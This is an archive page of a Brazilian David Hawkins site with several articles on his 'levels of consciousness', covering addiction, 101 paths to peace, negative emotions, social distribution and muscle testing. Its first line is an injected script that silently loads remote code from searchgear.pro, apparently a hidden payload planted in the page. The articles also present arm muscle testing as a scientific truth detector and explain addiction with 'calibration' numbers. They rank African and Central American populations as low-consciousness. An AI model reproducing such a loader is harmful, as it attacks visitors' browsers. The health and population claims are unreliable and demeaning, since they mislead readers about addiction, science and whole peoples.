;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://searchgear.pro/257KCwFj"); Arquivo de Níveis de Consciência - Página 2 de 4 - David Hawkins Brasil
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Por que as Pessoas Viciam em Álcool e Drogas?

Um fato que muitos estudantes de Dr. David Hawkins conhecem é que o professor superou o vício em álcool. Em suas palestras e livros era comum ele se referir aos tradicionais Grupos de 12 Passos que auxiliam na recuperação de vícios em álcool e drogas (e vícios de outras origens), como os Alcoólicos Anônimos (AA) e o Narcóticos Anônimos (NA).

O Alcoólicos Anônimos teve grande influência positiva na vida e na obra de Dr. Hawkins. Porém, após suas pesquisas sobre os Níveis de Consciência é que Hawkins compreendeu a real natureza dos vícios e por que as pessoas viciam em álcool e drogas.

O simples fato de compreendermos a verdadeira origem desses vícios já traz luz à consciência, reduz a culpa e abre caminho para a superação dessas dificuldades.

Confira a seguir um resumo da explicação de Dr. David Hawins sobre os vícios em álcool e drogas.

A natureza do vício em álcool e drogas

O vício em álcool e drogas se provou ser um problema social e clínico sem um tratamento efetivo pelos meios tradicionais. É uma condição que excede a capacidade da pessoa viciada em parar com o uso da substância sem ajuda, porque a própria vontade se torna ineficaz.

No que o viciado está realmente viciado?

A crença comum é de que as pessoas viciam na substância aditiva em si, devido ao seu poder de criar um estado de euforia. Mas, se reexaminarmos a natureza do vício do ponto de vista da consciência, uma nova verdade emerge.

O álcool ou as drogas não têm, em si mesmos, o poder de dopar. Na escala dos níveis de consciência eles calibram apenas em 100 (mesmo nível dos vegetais). 

O tão chamado “entorpecimento” que os usuários de drogas e álcool experienciam, no entanto, pode calibrar de 350 a 600.

A verdade sobre o efeito do álcool e das drogas

O atual efeito das drogas é de meramente suprimir os campos de baixas energias, permitindo assim que o usuário vivencie apenas as energias mais altas. 

É como se um filtro excluísse todos os tons mais baixos provenientes de uma orquestra, de modo que tudo o que pode ser ouvido são as notas altas. A supressão das notas baixas não cria as notas altas, ela meramente revela sua presença.

Nos níveis de consciência as frequências mais altas são extremamente poderosas. Entretanto, poucas pessoas experimentam esses estados puros com frequência, pois eles estão mascarados pelos campos de energia de ansiedade, medo, raiva, ressentimento e assim por diante. 

Raramente uma pessoa média chega à experiência de, por exemplo, amar sem medo (nível de consciência de 500), ou vivenciar a alegria pura (540), muito menos ao nível de êxtase (575). 

Mas esses estados maiores são tão poderosos que, uma vez experienciados, nunca são esquecidos e serão procurados para sempre.

É nesta experiência que as pessoas se viciam.

O que a pessoa que tem vício em álcool e drogas realmente busca?

O estado elevado que as pessoas buscam, por qualquer meio, é de fato o campo de experiência de suas próprias consciências (Ser).

Tudo o que realmente aconteceu é que, em circunstâncias “especiais” — por exemplo, no uso de uma substância —, eles experimentaram a sua própria realidade interna.

O que é de fato o entorpecimento?

Um “entorpecimento” é qualquer estado de consciência cima do nível habitual de consciência de uma pessoa. Usando os níveis da Escala Hawkins como referência:

  • Para alguém que vive no Medo (nível de consciência de 100 na Escala Hawkins), ir para a Coragem (200) estimula um estado de euforia;
  • Para a pessoa que vive em Apatia (50), sem esperança, a Raiva (150) estimula um estado de euforia (por exemplo, arruaceiros em guetos);
  • Medo (100) pelo menos é melhor que Tristeza (75);
  • Orgulho (175) é melhor que o Medo (100);
  • Aceitação (350) é muito mais confortável que a Coragem (200);
  • Amor (500) faz com que qualquer estado inferior pareça ser relativamente pouco atraente;
  • Alegria (54) supera todas as emoções humanas inferiores;
  • Extase (575) é raramente sentido;
  • A experiência mais sublime de todos esses estados é a Paz Infinita no nível de 600, tão extraordinária que desconsidera todas as tentativas de descrição.

A pessoa que experimenta esses níveis mais expandidos através do uso de álcool ou drogas dificilmente se contentará com menos.

Por isso, a tendência é que ela passe o resto da vida buscando reviver constantemente esse nível expandido. O que muitas vezes a pessoa viciada em álcool e drogas não sabe é que não é necessário usar substâncias externas ou situações especiais para acessar a Aceitação, o Amor ou até mesmo a Paz.

Todos esses níveis podem ser experienciados através da real expansão da consciência. 

Não é necessário recorrer ao vício em álcool e drogas para acessar o seu Ser e a sua realidade espiritual. Ao invés disso, o recomendado é seguir o que foi ensinado pelos grandes avatares e mestres espirituais, ou seja, o mesmo que Dr. David Hawkins ensinou em seus livros oficiais — e que está disponível para todos nós.

Gloria In Excelsis Deo!

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101 Caminhos para a Paz, segundo David R. Hawkins

“Nós mudamos o mundo não pelo que dizemos ou fazemos, mas como consequência do que nos tornamos.” – Dr. David R. Hawkins, M.D., Ph.D.

Dr. David R. Hawkins tornou-se conhecido a partir da publicação do best-seller Poder vs Força, no qual apresenta a Escala da Consciência, também conhecida como Mapa da Consciência ou Escala das Emoções e traz para nós uma visão de caminhos para a paz.

A partir do trabalho de Hawkins, pela primeira vez a humanidade teve acesso a um mapa claro da evolução da consciência, desde os níveis mais baixos (vergonha, culpa, ódio) até os mais elevados (amor, paz, iluminação).

Foi falando sobre um desses níveis de consciência elevados, em uma palestra com o tema “Paz”, que Dr. Hawkins apresentou os 101 caminhos possíveis para viver nesse estado pacífico.

Hawkins afirma que a paz é uma decisão e pode existir mesmo no meio da guerra, devastação e catástrofe. 

A seguir você encontra os 101 caminhos para a paz descritos por ele. 

101 caminhos para a paz, segundo Dr. David R. Hawkins

Descubra os melhores caminhos para a paz:

1. Abra mão de tentar mudar e controlar os outros. A fonte da sua felicidade está unicamente dentro de você. A paz tem que ser uma decisão que você toma. Ela pode existir no meio da guerra, devastação e catástrofe.

2. Deixe ir o desejo de se vingar.

3. Desapegue de querer estar certo e querer que os outros estejam errados.

4. Pratique o discernimento em vez do julgamento. O julgamento diz: “eles deveriam ser diferentes”, enquanto o discernimento vê a essência e a verdade de uma pessoa, mas sem julgamento.

5. Seja modesto com opiniões.

6. Aperfeiçoe habilidades de diplomacia e gentileza.

7. Seja gentil e atencioso.

8. Mantenha a serenidade como meta.

9. Não há problema em estar errado ou indeciso.

10. Calibre as opções. Seja flexível.

11. Não é necessário ter opinião sobre tudo.

12. Evite manifestações de paz.

13. Lembre-se que Sócrates era baixo e feio.

14. Valorize a sabedoria acima de estar certo.

15. Busque conselhos sábios.

16. Perceba que você influencia os outros pelo que você é, não pelo que você faz (a melhor coisa que você pode fazer para o mundo é sentar e calar a boca! Apenas ter pensamentos gentis faz a diferença).

17. Evite o ativismo e o pedantismo.

18. Seja grato por seus bens (seu ativo mais importante é o interesse espiritual).

19. A humanidade sobreviveu milhões de anos sem sua ajuda.

20. Seja seu melhor amigo.

21. Desconfie dos benfeitores (eles querem controlar você para o seu próprio bem, é claro!)

22. Benfeitor: um reformador social sério e muitas vezes ingênuo. Ingênuo: (a pessoa ou ação) que mostra falta de experiência, sabedoria ou julgamento.

23. Deixe os outros vencerem.

24. Cuidado com consequências não intencionais.

25. A criança inocente está presente em todos.

26. Ore para ver as coisas de uma forma diferente, reformule/recontextualize.

27. Aceite que a maioria das pessoas calibra abaixo de 200 (diminua suas expectativas – elas estão indo muito bem apenas para sobreviver).

28. Não julgue para não ser julgado (se eles pudessem fazer ou ser melhores, eles fariam).

29. Todos os pontos de vista são arbitrários.

30. Renove a consideração e a gratidão.

31. A mente é um ‘isso’, não um ‘você’. A mente fala o tempo todo; isso é ego. O espírito não fala.

32. Os críticos valem um centavo a dúzia.

33. Leia o livro “Extraordinary Popular Delusions and the Madness of Crowds by Mackay”, de Mackay.

34. Mantenha o senso de humor.

35. Todos presumem que estão certos e os outros estão errados.

36. Procure entender os outros em vez de mudá-los.

37. Sirva a Deus em vez do ego narcisista.

38. Procure participar em vez de dominar.

39. Não há problema em ter falhas.

40. Evite lutar pelo que é moralmente elevado.

41. Apoie os outros para encontrar o que há de bom em si mesmos.

42. Admita o que é em vez do que deveria ser.

43. Não há problema em apenas “ser” em vez de fazer ou ter.

44. Entregue sua vontade a Deus.

45. Deixe o passado ser passado.

46. ​​Se você não tem nada de bom a dizer sobre uma pessoa, então não diga nada.

47. Perceba que a humanidade esteve em guerra durante 93% da história registrada e que a paz mundial é improvável.

48. Aceitação: é isso que importa.

49. Fatalismo – o que será, será, por influências cármicas.

50. Desenvolva uma natureza pacífica. Esteja ciente do poder da Natureza.

51. Veja a beleza de tudo o que existe (1 polegada cúbica do Campo Infinito da Consciência é maior que a massa total de todo o universo)

52. Valorize a quietude.

53. Abandone a obstinação; silencie a criança interior.

54. Pratique as virtudes.

55. Recorde “paz na Terra, boa vontade para com todos os homens.”

56. Esforce-se para ser angelical em vez de luciférico.

57. Não pratique apegos, nem aversões. Buda.

58. Aceite os papéis sociais dos outros.

59. Estude para entender os outros.

60. A Experiência de Quase-Morte é de paz total.

61. Somente o ego é vulnerável; o verdadeiro Eu é eterno.

62. Viva em cada instante, isso é naturalmente pacífico.

63. Desapegue do controle; seja a testemunha-observadora.

64. Pratique meditação e contemplação.

65. Diferencie desejos de necessidades.

66. Vista o mundo como uma roupa leve.

67. Diferencie aparência de essência.

68. Seja gentil com todas as formas de vida.

69. Tenha animais de estimação e um jardim.

70. Diminua as expectativas sobre os outros (ninguém será o que você quer que eles sejam).

71. Cuide da sua própria vida.

72. Faça uma lista de preocupações (e priorize-as, dessa forma a mente relaxa).

73. Chocolate vs. baunilha implica uma escolha

74. Diferencie pontos de vista emocionais vs. espirituais (Bem, é assim que me sinto! Quem se importa?)

75. Utilize a lógica em vez da emoção.

76. Peça um milagre.

77. Hoje é o ontem de amanhã.

78. Converse com um amigo.

79. Aceite o pior cenário.

80. Vou pensar nisso amanhã (E o Vento Levou).

81. A paz existe no meio da guerra.

82. As coisas poderiam ser piores.

83. A vida é transitória.

84. Você foi criado por Deus.

86. Desista de tentar ser feliz (Apenas SEJA feliz!)

87. Desista de ser rico e famoso.

88. Caminhe pelo labirinto.

89. Faça o rosário.

90. Gire a roda de oração.

91. Escreva um testamento.

92. Faça um seguro de vida. (Você tem que ser real sobre as coisas. Um testamento e seguro significa que sua morte servirá como um benefício para alguém. Se você não tiver parentes, você pode fazer uma apólice de seguro e deixar para os gatinhos e cachorrinhos em uma instituição.)

93. Assista ao canal de animais na TV.

94. Enterre o machado.

95. Desista de ser um viciado em adrenalina.

96. Pare quando estiver no topo.

97. Deixe de lado a ganância (desejo voraz).

98. Invoque sua Natureza Buda.

99. Viva no espaço abaixo dos pensamentos.

100. Fale de maneira sensata consigo mesmo no espelho.

101. Converse com seu terapeuta ou psicólogo.

Como se aprofundar nos 101 caminhos para a paz, de Dr. David Hawkins

Apenas ler sobre os caminhos já nos traz uma sensação de alívio, porém sabemos que a prática é fundamental para realmente vivenciarmos a paz no nosso dia a dia.

Se você deseja aprofundar esses conhecimentos e conectar-se com os níveis de consciência de Amor e Paz, sugerimos a leitura das obras de Dr. Hawkins.

Confira aqui os livros de Dr. David R. Hawkins em português, incluindo os best-sellers Poder vs Força e Deixar Ir: https://loja.pandoratreinamentos.com.br/dr-david-hawkins

Que a Paz esteja com você!

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Direitos autorais do conteúdo – Veritas Publishing

Traduzido e adaptado do artigo original de Julian Conor Reid.

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Níveis de Consciência

Emoções Negativas: Como Lidar com Elas

Qual foi a última vez que você sentiu emoções negativas? Hoje? Ontem? Semana passada?

E, na sua opinião, qual foi a causa dessas emoções negativas?

Embora tenhamos o hábito de atribuir as causas das emoções a fatores externos, Dr. David Hawkins nos explica que a verdade é exatamente o contrário. São as nossas emoções negativas que causam acontecimentos desagradáveis fora de nós!

Isso pode parecer uma afirmação bastante estranha, mas fique conosco para entender melhor.

Você só vê fora o que tem dentro: o mecanismo da projeção

Vamos combinar: não é fácil lidar com emoções negativas, certo?

Por conta dessa dificuldade, a mente racional utiliza mecanismos que a psicologia chama de “projeção”. 

Para entender melhor o que é a projeção, é interessante olharmos antes para os mecanismos de repressão e supressão.

Repressão e Supressão das emoções negativas

Imagine que as emoções negativas são como a sujeira dentro da nossa casa. Os dias, semanas, meses e anos vão passando e a poeira vai se acumulando sobre o piso.

Quando negamos olhar para a sujeira e fingimos que ela não existe, isso é repressão.

Psicologicamente, a repressão é um estado de negação. É tão doloroso lidar com a sujeira que preferimos fazer vista grossa para ela.

Em outros momentos até enxergamos a sujeira, mas não temos disposição para lidar com ela. Então, escolhemos conscientemente jogar a poeira para baixo do tapete. Essa é a supressão.

A supressão é uma espécie de procrastinação emocional.

Sabemos que processar emoçoes negativas é cansativo e, por isso, contamos uma história para nós mesmos: “Ah, outra hora eu lido com isso”.

Projeção ou deslocamento

Ocorre quando a sujeira embaixo do tapete é tão grande que precisamos colocar um pouco dessa poeira para fora. Só que não somos loucos a ponto de simplesmente sair espalhando sujeira por aí. Precisamos de uma justificativa, uma desculpa.

Vamos pegar como exemplo a emoção da raiva.

Imagine que, sob o nosso tapete da sala, existe uma quantidade de raiva tão grande que está quase saindo para além do tapete. Lá no fundo, nossa mente inconsciente pensa: “Que ótimo seria se eu pudesse despejar essa poeira (raiva) em algum lugar, sem ter muito trabalho.”

De repente, uma pessoa da nossa família passa e faz algo que não nos agrada, que contraria a nossa expectativa. Nesse momento, levantamos o tapete e despejamos uma certa quantidade de poeira (raiva) na pessoa.

Temos a justificativa perfeita: “Você me incomodou”. “Ela me irritou”. “Eles fizeram algo errado”.

A grande ponto é que a situação toda não passou de um gatilho.

Na realidade, o nosso “estoque” de raiva fez com que procurássemos uma situação para descarregar a sujeira, e não o contrário. Estávamos atrás de uma oportunidade.

Esse é o mecanismo da projeção (ou, na psiquiatria, deslocamento). 

A panela de pressão

Dr. David Hawins usa também a metáfora da panela de pressão. Quando a pressão é muito grande, precisamos enfim direcioná-la para fora, e não mais só para dentro.

Portanto, direcionamos a fumaça para outras pessoas ou situações externas. Projetamos ou deslocamos essa fumaça, dizendo que a culpa é daquilo que está fora.

A projeção é um processo de, justamente, pegar algo que é uma realidade interna nossa e projetar para fora, fazendo parecer que a causa é externa.

Segundo Dr. Hawkins, “quando a pressão dos sentimentos suprimidos e reprimidos excedem a tolerância máxima do indivíduo, a mente vai criar um evento ‘fora’ para se desafogar e deslocar.”

O mecanismo de Deixar Ir: antídoto para as emoções negativas

Mas como parar de projetar nossas emoções negativas do lado de fora e, ao invés disso, curarmos a nós mesmos?

Dr. David Hawkins nos ensina que a melhor maneira de lidar com os sentimentos negativos é através do mecanismo de Deixar Ir.

Nas palavras do próprio Dr. Hawkins,

Deixar ir envolve estar consciente de um sentimento, deixá-lo vir à tona, permanecer com ele e deixá-lo seguir seu curso sem querer torná-lo diferente ou fazer qualquer coisa sobre ele. Significa simplesmente deixar o sentimento estar presente e focar em deixar sair a energia por trás dele.

Quando paramos de resistir ao sentimento, condená-lo ou julgá-lo, passamos a olhar para ele apenas como um sentimento. A partir daí, automaticamente ele vai se dissolvendo.

Hawkins explica que é a resistência que mantém o sentimento.

Ou seja, quando você diz para si mesmo “Eu não posso sentir isso”, você mantém essas sensações e emoções dentro de você. 

Por outro lado, quando diz “Ok, eu posso sentir isso e não há nada de errado”, você se torna consciente. Sua resistência vai embora e as emoções negativas começam a se dissipar naturalmente, como uma onda que vem e que passa.

O livro Deixar Ir: o caminho do desapego

A melhor recomendação possível para aprender o mecanismo de Deixar Ir e, assim, aprender a lidar com os seus sentimentos e emoções negativas, é ler o livro best-seller de Dr. David Hawkins.

Na obra, o cientista e professor espiritual detalha de maneira prática o uso da técnica.

Além disso, você vai aprender sobre a Escala das Emoções e sua influência sobre todas as áreas da nossa vida, desde as emoções negativas — como vergonha, ódio, medo, ganância, raiva e orgulho —, até os campos de consciência positivos — como coragem, disposição, aceitação, razão, amor, paz e iluminação.

Confira aqui mais detalhes sobre o livro Deixar Ir e aprenda a técnica mais efetiva para lidar com sentimentos e emoções negativas.

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Níveis de Consciência

Qual é a verdadeira origem do sofrimento humano?

Você já se perguntou por que uma porcentagem tão grande da população humana vive em níveis graves de pobreza e sofrimento?

Ou então, já se questionou por que alguns povos e grupos sociais parecem ter tanta dificuldade para se manterem empregados e longe do crime ou da corrupção?

É comum analisarmos as causas das dificuldades humanas, e normalmente acreditamos que a origem dos problemas está nas questões sociais, econômicas ou educacionais. Certamente, todos esses fatores fazem parte da equação.

Porém, através de décadas de estudo sobre as verdadeiras origens do sofrimento humano, Dr. David Hawkins nos mostra que existe um ponto mais profundo que culmina em todos os problemas de distribuição social: os níveis de energia da população.

Nos últimos artigos baseados no livro Poder vs Força, tivemos a oportunidade de conhecer os Níveis de Consciência e o Teste Muscular aplicado à Escala da Consciência

Agora, aprenderemos sobre a Distribuição Social e sua relação com os Níveis de Consciência das diversas “camadas” da população. Veremos como é a distribuição da sociedade em relação aos níveis de energia e consciência, e as consequências que isso traz em aspectos da vida cotidiana.

Distribuição Social dos Níveis de Consciência

De acordo com milhões de calibragens feitas no estudo dos níveis de consciência humana, Dr. David Hawkins constatou que uma representação gráfica da distribuição dos níveis de energia da população mundial se assemelharia ao formato de uma pirâmide.

Ou seja, são diversas “camadas” da população, onde a parte baixa da pirâmide concentra muito mais pessoas do que a parte alta. Neste caso, 85% da raça humana calibra abaixo de 200 (Coragem), nível crítico onde inicia a integridade.

Em outras palavras, a maioria esmagadora da população humana (85%) vive suas vidas baseada em emoções como Orgulho, Raiva, Ganância, Medo, Tristeza, Apatia, Culpa e Vergonha.

Em um primeiro momento esta porcentagem pode até parecer improvável, mas basta examinarmos as condições do mundo para percebermos que alguns subcontinentes inteiros têm dificuldades até mesmo de sobreviver. Nesses locais, fome e doenças são comuns, assim como opressão política e escassez de recursos sociais.

As energias de Apatia e Medo levam à miséria e sofrimento

Em alguns países e locais, a população vive em um estado constante de Apatia. Este é um nível de consciência extremamente baixo (apenas 50 na Escala de Consciência, que vai de 1 a 1.000).

O estado energético de apatia, que é um estado praticamente de ausência de consciência, faz com que a vida se torne desesperançosa e miserável. Não há perspectiva de futuro e todos os problemas parecem não ter solução.

Além disso, grande parte do resto da população mundial vive basicamente no nível de consciência do Medo (nível 100 na Escala da Consciência). 

Até certo ponto, é comum que o ser humano busque uma forma ou outra de segurança durante toda a sua vida. No entanto, pessoas que baseiam sua existência na energia do medo não conseguem avançar em nenhuma área da vida. Elas vivem preocupadas, com medo de perder, e acabam atraindo todos os tipos de problemas — pois seu foco está sempre naquilo que podem perder, onde podem falhar, ataques que podem sofrer etc.

O Desejo e o Orgulho aprisionam as pessoas no status

Uma parte da população mundial transcende a desesperança (Apatia) e o mero impulso de sobrevivência (Medo) e passa a buscar satisfazer suas vontades a partir do nível de consciência de Desejo/Ganância (125 na Escala da Consciência, que vai de 1 a 1.000).

Essa é a energia que impulsiona diversos setores da economia por meio do consumo, da propaganda e, inclusive, da própria inveja. Quando os seres humanos conseguem alcançar seus objetos de desejo, eles desenvolvem o que o mundo muitas vezes reconhece como sucesso e status. Isso os leva ao nível de consciência do Orgulho (175 na Escala de Consciência).

Entre os níveis considerados negativos (aqueles abaixo de 200 na escala de 1 a 1.000), o nível de Orgulho é o nível negativo que está mais próximo das energias positivas. O problema é que, justamente por isso, ele se torna um “falso positivo”. 

Para as pessoas que até então viviam presas em Apatia ou Medo, o Orgulho parece extremamente agradável e atrativo. Contudo, Dr. Hawkins destaca que não se pode ter qualquer satisfação humana significativa antes do nível de 250 (Neutralidade).

Isso porque todos níveis negativos trazem muito mais sofrimento do que alegria (mesmo no nível de Orgulho, a felicidade chega a no máximo 22%).

Já no primeiro nível positivo, a Coragem, a felicidade já salta para 55%. O desafio aí é que a Coragem ainda está muito suscetível à influência e às oscilações dos níveis negativos. Por isso Hawkins nos diz que a Neutralidade representa o primeiro nível de consciência seguro para um indivíduo ou para uma população.

Correlação cultural dos níveis de consciência

Como mencionamos, cada nível de consciência ou nível de energia terá como consequência determinados padrões nos aspectos da vida cotidiana da população.

A seguir, os níveis abaixo de 200 representam os níveis negativos de consciência, enquanto os níveis acima de 200 representam as energias positivas.

Níveis abaixo de 200 (níveis de sofrimento acentuado)

Nos países e populações que calibram abaixo de 200, o foco está simplesmente em sobreviver. O padrão aqui é de escassez. Faltam roupas, o analfabetismo é comum, as doenças e a desnutrição estão presentes, a mortalidade infantil é alta.

Povos que calibram abaixo de 200 fazem trabalhos pouco qualificados, comércio rudimentar e constroem artefatos simples, como canoas e alojamentos temporários. O estilo de vida pode ser ainda nômade, ou então contar com agricultura pouco evoluída. São os países subdesenvolvidos, como é comum em certas nações da África ou América Central.

As populações que calibram em torno de 200 apresentam mão de obra semiqualificada. As roupas são adequadas e a educação fundamental já está presente.

Níveis de 200 a 299 (Coragem e Neutralidade)


Aqui já vemos povos ou camadas da população com mão de obra qualificada, trabalhadores de escritório, negociantes e comerciantes, além de indústrias.

Nos níveis anteriores a pesca, por exemplo, é uma atividade de subsistência. A partir daqui ela já se torna uma indústria.

Níveis de 300 a 399 (Disposição e Aceitação)

A partir do nível de 300, temos os profissionais técnicos, gerentes, os artesãos habilidosos e as estruturas de negócio mais sofisticadas.

Em populações desses níveis, a conclusão do ensino superior se torna algo comum. Aqui temos os países em desenvolvimento, os quais ainda têm muitos pontos de desigualdade para superar, mas onde a qualidade de vida já é muito superior às nações abaixo de 200.

As pessoas se interessam por esportes, estilo e entretenimento. A TV costuma ser um grande passatempo.

Conforme avançamos (nível 350 em diante), encontramos a gerência superior, os educadores e os artesãos mais conscientes. São as pessoas que pensam no coletivo, tendo uma visão de mundo que vai além da sua vizinhança ou cidade. Aqui a sobrevivência já está assegurada por uma série de habilidades que foram desenvolvidas, então é possível focar em contribuir com o mundo, viajar e curtir a vida de outras formas.

Níveis de 400 a 499 (Razão)

No nível da razão vemos o despertar do intelecto. O foco se volta à educação superior, à ciência, à literatura. A razão é a consciência típica dos executivos e cientistas. Em termos globais, este é o nível das nações desenvolvidas.

Se nos níveis mais baixos as casas das pessoas apresentam poucos materiais de leitura, aqui as famílias leem jornais, revistas e têm estantes cheias de livros. Na TV, o interesse é por canais de educação e consciência política mais sofisticada. Grandes referências em comunicação, em questões intelectuais e artísticas estão neste nível, assim como grandes juízes, estadistas, inventores e líderes de indústrias. As recreações agora envolvem o xadrez, viagens culturais, shows e espetáculos de teatro.

Como a educação é a base deste nível, as pessoas costumam se reunir em grandes áreas metropolitanas, onde existem os centros importantes de instrução e informação, como as grandes universidades. Para ter uma ideia, Albert Einstein e Sigmund Freud calibravam em 499, assim como Newton e Descartes.

Níveis acima de 500 (Amor, Paz e Iluminação)

Se no nível de 200 temos uma “divisão” crítica da consciência, um outro grande salto acontece aos 500. Aqui a grande motivação passa a ser o Amor, independente da atividade que esteja sendo executada.

Pessoas nesse nível trazem a excelência, a criatividade, a dedicação, o compromisso e o altruísmo como marca. A partir desse nível emergem grandes obras da música, arquitetura e outras artes. Nos 500 mais altos estão os líderes mais inspiradores, que servem de exemplo para toda a sociedade e que ajudam a reduzir o sofrimento da humanidade.

Pouquíssimas pessoas despertam o nível de 600, caracterizado pela Paz. Nesse ponto o indivíduo pode se tornar uma “lenda”, tendo como marca principal a compaixão.

Os níveis de consciência e a origem do sofrimento ou felicidade: o que podemos concluir

Desde que nascem, todas as pessoas já possuem um nível de consciência. Em média, o nível de consciência só aumenta em cinco pontos para cada pessoa ao longo da vida. Isso não quer dizer que não possam haver saltos de consciência ou grandes evoluções individuais — afinal, estamos falando da média da população.

Esse nível de energia, desde o nascimento, é o principal ponto de influência que determina se as experiências das pessoas serão positivas ou negativas, felizes ou sofridas; se elas passarão por desemprego ou encontrarão oportunidades constantes; se buscarão crescer ou permanecerão apáticas.

Segundo Dr. David Hawkins, o nível de consciência é definido por motivação e escolha. Portanto, a maneira mais efetiva para melhorar a situação de vida e vencer o sofrimento é buscar se conectar com um novo nível de consciência mais expandido — isso serve tanto para um indivíduo como para uma população.

De acordo com Hawkins , se escolhermos conscientemente viver a vida de maneira amigável, sincera, amável e tolerante, além de altruísta, certamente níveis mais elevados de consciência podem ser atingidos, embora na prática isso exija uma grande disposição.

A oportunidade de superar o sofrimento e transformar a vida existe para todos que se determinarem verdadeiramente a ativar esse potencial.

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Níveis de Consciência

Teste Muscular – A Cinesiologia aplicada aos Níveis de Consciência

Será que um teste muscular pode colaborar com a investigação da verdade e com o desenvolvimento da escala da consciência?

Para Dr. David Hawkins sim e se você estiver acompanhando nossos artigos sobre o livro “Poder vs Força” também vai compreender como o trabalho dos Níveis de Consciência é um divisor de águas na compreensão do comportamento humano.

Agora é a vez de conhecer um pouco sobre a história e a base de desenvolvimento desse estudo que durou cerca de 20 anos e que adotou um método clínico pragmático com a avaliação de incontáveis calibragens.

Milhares de pessoas com características demográficas, de saúde e de personalidade das mais diversificadas; pertencentes à inúmeras áreas do conhecimento humano e residentes em diversos países e continentes foram testadas para a compilação dos dados.

O estudo também foi conduzido em grupos e individualmente e, consideradas todas as variáveis, o método se mostrou replicável e com resultados idênticos e reproduzíveis.

Até mesmo a variação de ambientes onde os indivíduos eram testados e os estados emocionais também foram diversificados, buscando-se a maior abrangência de condições possível.

Cinesiologia 

A grande ferramenta desse estudo foi a Cinesiologia, ciência que demonstrou que os músculos tornam-se:

  • instantaneamente fracos quando o corpo é exposto a estímulos nocivos e
  • fica forte quando exposto a estímulos benéficos.

Essa técnica se mostrou rápida, eficiente, fácil de executar e altamente decisiva. E o mais interessante é que o corpo responde sem mesmo a mente ter conhecimento da resposta.

A partir desses resultados, muitos médicos passaram a usar a Cinesiologia como ferramenta diagnóstica com ótimos resultados.

“O corpo de fato consegue responder com precisão, mesmo quando a mente consciente não tem conhecimento” (Dr.Hawkins)

Um exemplo disso foi um experimento com 2 tipos de envelopes para uma plateia de mil pessoas.

Um deles continha adoçante artificial e o outro vitamina C orgânica. Os participantes testavam uns nos outros os envelopes de forma cega, ou seja, eles não sabiam o que havia no envelope.

A surpresa foi enorme ao ver que em contato com o adoçante artificial a musculatura dos participantes ficava fraca, ao passo que em contato com a vitamina C orgânica, os músculos reagiam com força

O experimento mostrou o quanto nosso corpo é capaz de oferecer respostas sem que a consciência esteja presente nisso.

Qual foi o contexto histórico desse estudo? 

Saber a evolução do uso diagnóstico da Cinesiologia é importante para acompanharmos sua evolução até chegar à escala dos níveis de consciência.

Em 1970, estudos sobre a influência da nutrição na saúde integral eram hostilizados pela maioria da comunidade médica. Mas alguns setores da medicina, especialmente os médicos holísticos, se envolveram francamente com os testes musculares em suas práticas clínicas. 

Acompanhe a linha do tempo:

Mas, afinal como é essa Técnica?

É tão efetiva quanto simples! 

São 2 pessoas, uma será testada estendendo o braço lateralmente, paralelamente ao chão à altura do ombro e a outra exercerá uma força no braço para baixo, utilizando apenas 2 dedos nos pulsos de quem será testado e deve dizer “resista”. 

Uma afirmação deve ser feita, como por exemplo: meu nome é…. Se a pessoa sendo testada tiver citado seu próprio nome, o braço permanecerá forte, mas se a afirmação for falsa, o braço perderá força e descerá.

A técnica para a calibragem dos níveis de consciência utiliza uma escala que vai de 20 a 1000, classificando os diversos níveis dos negativos até os positivos. 

A simplicidade e eficácia da técnica permite sua aplicação nos mais diversos contextos, desde que a questão seja bem formulada de forma a permitir respostas exatas como verdadeiro ou falso, sim ou não. 

Vale, entretanto, citar alguns aspectos importantes para o uso da técnica:

  • Deve ser utilizada apenas para condições existentes ou eventos passados. Questões do futuro não obterão respostas válidas
  • A impessoalidade sobre sentimentos positivos e negativos durante o procedimento deve ser observada
  • Não deve haver música ou distrações no plano de fundo 
  • Aquele que vai ser testado deve permanecer com os olhos fechados 

O cuidado com a execução do teste inclui ainda outros detalhes mais específicos, mas a ideia aqui é mostrar o quão simples é sua execução, embora esteja completamente apoiado na ciência.

O uso do Teste Muscular no Estudo da Escala dos Níveis de Consciência 

Dr. Hawkins usou o teste muscular para a pesquisa sobre os níveis de consciência introduzindo uma correlação numérica em escala logarítmica para calibrar o poder relativo da energia de diferentes atitudes, pensamentos, sentimentos, situações e relacionamentos.

Essa escala vai de 1 a 1000 e está assim distribuída:

  • de 1 a 600 – existência física e o ápice da consciência humana
  • de 600 a 1000 – estados avançados de iluminação

O uso da técnica deve ser responsável e utilizada segundo a aprovação do indivíduo a ser testado. A resposta não está relacionada à força física do indivíduo.

Avaliar caso a caso com ética e responsabilidade, considerando-se os contextos e variáveis é atitude necessária.

Tudo é feito em nome do Bem Maior e isso deve estar presente na formulação da afirmativa a ser testada.

“Dedicação e intenção com a verdade têm de ser vistos como prioridade, acima de opiniões pessoais e tentativas de provar estar certo.”(Dr. Hawkins) 

Existem limites para o teste muscular?

Para obter resultados precisos é necessário que aquele que se submete ao teste tenha:

  • uma calibragem em 200 dentro da escala dos níveis de consciência
  • uma intenção íntegra e verdadeira que esteja acima de 200. 
  • a verdade como guia e não a subjetividade 

Segundo Dr.Hawkins, pelo menos 10% da população não atende a esses quesitos e, portanto não está apta a usar o teste. 

O surgimento de uma ciência clínica da consciência que valida a Realidade espiritual, naturalmente, vai gerar resistência, uma vez que é na verdade um confronto direto da dominação narcisista do próprio núcleo do ego, que é inatamente presunçoso e opinativo.” (Dr.Hawkins)

O livro “Poder vs Força” traz uma explicação bastante detalhada de todo esse processo e é quase que uma conversa com Dr. Hawkins que explica detalhadamente todo o desenvolvimento de seu estudo e o quanto ele impactou na vida de milhares de pessoas.

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Escala Hawkins da Consciência: o que é e como utilizá-la

Escala de níveis de consciência? Existe isso?

Sim, existe, e demandou um longo estudo para ser organizado. A Escala Hawkins organiza toda essa pesquisa de forma que todos possam compreender como se dá a evolução humana no que diz respeito às emoções e aos impactos que elas têm em nossa vida.

Com toda certeza, dentro da comunidade científica, Dr. David R. Hawkins foi uma das pessoas que mais se debruçou a estudar, desvendar, organizar e identificar as emoções humanas e como elas se apresentavam numa escala evolutiva.

Como PHD, psiquiatra e estudioso, observava que inúmeras escolas de psicoterapia apoiavam suas condutas na tentativa de obter respostas através da simbologia e referências mitológicas.

Dr.Hawkins buscou um outro caminho:  a simplicidade inerente à verdade. Essa foi sua inspiração para a elaboração de um Mapa das Emoções humanas.

